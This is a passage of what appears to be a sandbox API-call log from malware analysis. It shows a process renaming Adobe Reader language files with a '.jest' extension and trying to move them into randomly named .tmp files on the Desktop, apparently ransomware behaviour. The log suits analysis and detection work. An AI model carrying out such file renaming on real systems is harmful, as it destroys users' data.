(bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䕟⹇硴t") returned 0x6b [0151.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x144ddec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt") returned 108 [0151.386] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䕟⹇硴⹴敪瑳") returned 0x70 [0151.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.386] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䕟⹇硴⹴敪瑳") returned 0x70 [0151.386] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt.jest") returned 113 [0151.387] VarBstrFromR4 (in: fltIn=0x47945089, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.07") returned 0x0 [0151.387] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.387] CoFreeUnusedLibraries () [0151.387] GetTickCount () returned 0x11579d2 [0151.387] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.387] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.387] GetTickCount () returned 0x11579d2 [0151.387] IsWindowVisible (hWnd=0x30268) returned 0 [0151.387] Sleep (dwMilliseconds=0x0) [0151.388] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hZZrNLQeB-UppaXIN5sNbbXjt0G0r1g3CG4PRti7L5P1V5CKw3QXDPPu-55C50RLTIo v Dp_jJCiIyhwWNf-Ck-5U7wCW 5odIk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hzzrnlqeb-uppaxin5snbbxjt0g0r1g3cg4prti7l5p1v5ckw3qxdppu-55c50rltio v dp_jjciiyhwwnf-ck-5u7wcw 5odik.tmp")) returned 0 [0151.388] GetLastError () returned 0x2 [0151.389] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.389] CoFreeUnusedLibraries () [0151.389] GetTickCount () returned 0x11579d2 [0151.389] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.389] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.389] GetTickCount () returned 0x11579d2 [0151.389] IsWindowVisible (hWnd=0x30268) returned 0 [0151.389] Sleep (dwMilliseconds=0x0) [0151.390] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt.jest")) returned 1 [0151.391] GetLastError () returned 0x0 [0151.391] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䑟⹚硴t") returned 0x6b [0151.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.391] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䑟⹚硴t") returned 0x6b [0151.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x146c82c, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt") returned 108 [0151.391] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䑟⹚硴⹴敪瑳") returned 0x70 [0151.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.391] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䑟⹚硴⹴敪瑳") returned 0x70 [0151.391] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x14cf144, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt.jest") returned 113 [0151.392] VarBstrFromR4 (in: fltIn=0x4794508b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.09") returned 0x0 [0151.392] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.392] CoFreeUnusedLibraries () [0151.392] GetTickCount () returned 0x11579e1 [0151.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.393] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.393] GetTickCount () returned 0x11579e1 [0151.393] IsWindowVisible (hWnd=0x30268) returned 0 [0151.393] Sleep (dwMilliseconds=0x0) [0151.394] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_DZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_dz.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9bGSGThutztAK_GTpBV Xq7rBHLCQBz8zKdr70d n__KVVo5nBflqfdojdyTGR6Z5O2fmJocyOGNiFUlXk2U8WFL8N3R6I94UWcDv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9bgsgthutztak_gtpbv xq7rbhlcqbz8zkdr70d n__kvvo5nbflqfdojdytgr6z5o2fmjocyognifulxk2u8wfl8n3r6i94uwcdv.tmp")) returned 0 [0151.394] GetLastError () returned 0x2 [0151.394] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.395] CoFreeUnusedLibraries () [0151.395] GetTickCount () returned 0x11579e1 [0151.395] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.395] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.395] GetTickCount () returned 0x11579e1 [0151.395] IsWindowVisible (hWnd=0x30268) returned 0 [0151.395] Sleep (dwMilliseconds=0x0) [0151.395] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt.jest")) returned 1 [0151.397] GetLastError () returned 0x0 [0151.397] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䉟⹈硴t") returned 0x6b [0151.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.397] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䉟⹈硴t") returned 0x6b [0151.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x14cf144, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt") returned 108 [0151.397] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䉟⹈硴⹴敪瑳") returned 0x70 [0151.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.397] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䉟⹈硴⹴敪瑳") returned 0x70 [0151.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x144eaec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt.jest") returned 113 [0151.397] VarBstrFromR4 (in: fltIn=0x4794508b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.09") returned 0x0 [0151.398] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.398] CoFreeUnusedLibraries () [0151.398] GetTickCount () returned 0x11579e1 [0151.398] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.398] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.398] GetTickCount () returned 0x11579e1 [0151.398] IsWindowVisible (hWnd=0x30268) returned 0 [0151.398] Sleep (dwMilliseconds=0x0) [0151.399] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t7rcoMg BzHlnIpdVJYQkh-cv44ZsqNrnvSPYRpfRrVNw7oH8nQYTdP9Pm7EQJo0jSlA Sguj1f-sWUoqGCJLR8176te lPje3qfy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t7rcomg bzhlnipdvjyqkh-cv44zsqnrnvspyrpfrrvnw7oh8nqytdp9pm7eqjo0jsla sguj1f-swuoqgcjlr8176te lpje3qfy.tmp")) returned 0 [0151.399] GetLastError () returned 0x2 [0151.400] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.400] CoFreeUnusedLibraries () [0151.400] GetTickCount () returned 0x11579e1 [0151.400] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.400] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.400] GetTickCount () returned 0x11579e1 [0151.400] IsWindowVisible (hWnd=0x30268) returned 0 [0151.400] Sleep (dwMilliseconds=0x0) [0151.401] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt.jest")) returned 1 [0151.402] GetLastError () returned 0x0 [0151.402] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䅟⹅硴t") returned 0x6b [0151.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.402] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䅟⹅硴t") returned 0x6b [0151.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=108, lpWideCharStr=0x144eaec, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt") returned 108 [0151.402] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䅟⹅硴⹴敪瑳") returned 0x70 [0151.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.402] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡䅟⹅硴⹴敪瑳") returned 0x70 [0151.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x144ebf4, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt.jest") returned 113 [0151.403] VarBstrFromR4 (in: fltIn=0x4794508b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.09") returned 0x0 [0151.403] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.403] CoFreeUnusedLibraries () [0151.403] GetTickCount () returned 0x11579e1 [0151.403] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.403] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.403] GetTickCount () returned 0x11579e1 [0151.403] IsWindowVisible (hWnd=0x30268) returned 0 [0151.404] Sleep (dwMilliseconds=0x0) [0151.404] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_AE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ae.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaNRE-G46zz5loYVEpw0uygisPncrvid2 IwsVcxWxz91PtBw7uDvhnFZ-H9F_ewV_A9L7H6Uw_AJKkJ0wrhdlxH7pkuMa5D9SWVV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uanre-g46zz5loyvepw0uygispncrvid2 iwsvcxwxz91ptbw7udvhnfz-h9f_ewv_a9l7h6uw_ajkkj0wrhdlxh7pkuma5d9swvv.tmp")) returned 0 [0151.405] GetLastError () returned 0x2 [0151.405] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.405] CoFreeUnusedLibraries () [0151.405] GetTickCount () returned 0x11579e1 [0151.405] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.405] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.405] GetTickCount () returned 0x11579e1 [0151.405] IsWindowVisible (hWnd=0x30268) returned 0 [0151.405] Sleep (dwMilliseconds=0x0) [0151.406] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt.jest")) returned 1 [0151.407] GetLastError () returned 0x0 [0151.407] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡奟⹅硴t") returned 0x6b [0151.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=107, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 107 [0151.407] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡奟⹅硴t") returned 0x6b [0151.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=108, lpWideCharStr=0x144ebf4, cchWideChar=215 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt") returned 108 [0151.407] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡奟⹅硴⹴敪瑳") returned 0x70 [0151.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=112, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 112 [0151.407] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡奟⹅硴⹴敪瑳") returned 0x70 [0151.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14faa24, cbMultiByte=113, lpWideCharStr=0x144ddec, cchWideChar=225 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt.jest") returned 113 [0151.408] VarBstrFromR4 (in: fltIn=0x4794508b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.09") returned 0x0 [0151.408] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.408] CoFreeUnusedLibraries () [0151.408] GetTickCount () returned 0x11579e1 [0151.408] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.408] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.408] GetTickCount () returned 0x11579e1 [0151.409] IsWindowVisible (hWnd=0x30268) returned 0 [0151.409] Sleep (dwMilliseconds=0x0) [0151.410] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_ye.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CH-NwrE9skpeKBsEh2zOX1hXGf_w2rgPtRbRs8Dg2qgDLm-V4IAOASv9f_6ZMybnspGfKZ3AtMVlBH3n be4p9FCMerb4qGxgIkQV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ch-nwre9skpekbseh2zox1hxgf_w2rgptrbrs8dg2qgdlm-v4iaoasv9f_6zmybnspgfkz3atmvlbh3n be4p9fcmerb4qgxgikqv.tmp")) returned 0 [0151.410] GetLastError () returned 0x2 [0151.411] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0151.411] CoFreeUnusedLibraries () [0151.411] GetTickCount () returned 0x11579f1 [0151.411] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.411] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.411] GetTickCount () returned 0x11579f1 [0151.411] IsWindowVisible (hWnd=0x30268) returned 0 [0151.411] Sleep (dwMilliseconds=0x0) [0151.412] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar.txt.jest")) returned 1 [0151.413] GetLastError () returned 0x0 [0151.413] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡琮瑸") returned 0x68 [0151.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=104, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 104 [0151.413] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡琮瑸") returned 0x68 [0151.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=105, lpWideCharStr=0x144ddec, cchWideChar=209 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt") returned 105 [0151.413] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡琮瑸樮獥t") returned 0x6d [0151.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=109, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 109 [0151.413] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶䅜潤敢剜慥敤⁲〱〮剜獥畯捲履楌杮極瑳捩屳慌杮慵敧慎敭㉳䑜獩汰祡慌杮慵敧慎敭⹳牡琮瑸樮獥t") returned 0x6d [0151.413] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146c82c, cbMultiByte=110, lpWideCharStr=0x1467bd4, cchWideChar=219 | out: lpWideCharStr="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar.txt.jest") returned 110 [0151.414] VarBstrFromR4 (in: fltIn=0x4794508d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75937.1") returned 0x0 [0151.414] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0151.414] CoFreeUnusedLibraries () [0151.414] GetTickCount () returned 0x11579f1 [0151.414] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0151.414] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0151.414] GetTickCount 